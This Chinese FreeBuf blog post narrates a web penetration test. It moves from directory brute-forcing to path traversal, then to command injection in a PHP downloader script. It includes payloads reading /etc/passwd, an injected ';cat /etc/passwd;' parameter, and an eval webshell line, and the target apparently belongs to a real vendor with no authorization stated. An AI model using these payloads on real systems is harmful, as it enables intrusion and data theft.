freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次从目录爆破到命令注入的过程
2023-01-12 10:00:05

起因

最近看到一个漏洞,心血来潮突然想复现试一试,于是开始了fofa搜索资产之旅。意外发现资产归属的厂商的另外一个资产,看起来很好欺负,于是开始测试一番。

1673442271_63beb3dfaec43789ecd97.png!small?1673442272997

目录爆破

测试第一步,首先是信息搜集,这里简单扫了一下开放端口和服务,并没有发现什么有用的,这里不赘述。通过Wappalyzer插件,知晓了资产基本信息,嗯,是php站。

1673442564_63beb504602f079cff1d8.png!small?1673442565096

接下来根据资产和厂商的信息构建了一份字典,开始了经典的暴力破解,当然,结果也很经典,无果。于是又开始了经典的扫目录环节,这里选用的 dirsearch,非常好用。扫描不久便有了惊喜,存在几处可访问的路径。

1673442837_63beb615c71443a2b2e3a.png!small?1673442838947

这里发现了可疑路径/downloader.php,拼接访问一下看看,发现还需要参数才能正常访问。

1673443119_63beb72fb387085e52da7.png!small?1673443120631

任意文件下载

遇到这种情况,当然是模糊测试啦。这个页面盲猜需要参数读取文件,当然,手熟的师傅一眼就看出来了。这里还是正常操作,fuzz参数一下。打开burpsuit,拦包,发送到测试器,打开参数测试字典,因为之前信息收集得知主机系统可能是ubuntu,所以拼接一个../../../../../../../../etc/passwd,跑起来。1673443644_63beb93c30a41f8262571.png!small?1673443645110

1673443673_63beb95960c5582e67611.png!small?1673443674211

仅仅不到10秒钟,便有了结果,排除一个误报,一个任意文件下载漏洞便入手了。

1673443821_63beb9ed6bc8d45b422f2.png!small?1673443822298

1673443897_63beba3999cb8194bf0c4.png!small?1673443898205

代码审计

当然,到这里也并不满足,因为不知道内部的路径信息,只能先来个经典的我下我自己,于是便把downloader.php页面下载下来了。

1673444151_63bebb37af55d1be0b55f.png!small?1673444152310

既然有了这个页面的源代码,于是就审计一番,看看有什么其它可利用的信息,源代码内部可能存在其它物理路径,凭证信息等等,本质上就是再次信息收集。这里用vscode打开瞅一瞅,一眼便看到文件读取的触发点,写的真是简单又实在,追踪了一下参数,确实毫无过滤,怪不得如此顺利。

1673453874_63bee1328313a2a7013db.png!small?1673453875186

1673444849_63bebdf14e31d61386b26.png!small?1673444850228

命令注入

这时上下略看一眼,发现了页面中包含多个system函数进行数据处理,于是全局搜索了一下system(,定位一下位置,但是大多数system函数传入的参数都使用了escapeshellcmd函数进行了过滤,此时先审计未过滤的system函数。

1673454208_63bee280bf8dfed34497b.png!small?1673454209378

对第一处system函数传入的参数进行追踪,发现传入的参数,都来自内部配置文件且参数经过escapeshellcmd函数过滤,外部无法操控,遂放弃。

1673454958_63bee56e6a86f2c0af00a.png!small?1673454959244

1673454700_63bee46ca8fe90934e6c0.png!small?1673454701420

第二处system函数看了一眼直接放弃。

1673454882_63bee5221c78e5e1acd50.png!small?1673454883187

第三处system函数在对file的后缀进行选择判断的分支处,可以看出如果file的后缀为.zip,则在此处执行,$cmd参数的有一个明显的拼接且无任何过滤,默认条件下会直接进入第二处if判断的else部分执行,由此看出,如果$site参数如果能控制即可完成命令注入,传入的参数也只需要用;分隔堆叠绕过即可。

1673455329_63bee6e1dcd0c14d46298.png!small?1673455330534

这时直接在url中如此拼接参数?file=.zip&site=;cat /etc/passwd;,尝试访问,成功!

1673455979_63bee96ba1ca2abee567b.png!small?1673455980397

哥斯拉上线

此时就比较简单了,直接命令执行echo <?eval($_POST["pass"]);?>test.php写入webshell,哥斯拉链接测试,成功。

1673456318_63beeabe7ec05a45c371e.png!small?1673456319164

结语

其实上文看起来一切都很顺利,但在整个过程中也进行了很多无用操作,这些都是无法避免的,渗透过程往往都是磕磕绊绊的。渗透的过程就是通过信息收集去发现漏洞,通过漏洞再获取更多信息从而进入更深度的渗透过程从而达到目的。这样一次从目录爆破到命令的注入的过程整体上来说是简单清晰的,希望能给予各位师傅一点思路和经验。

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦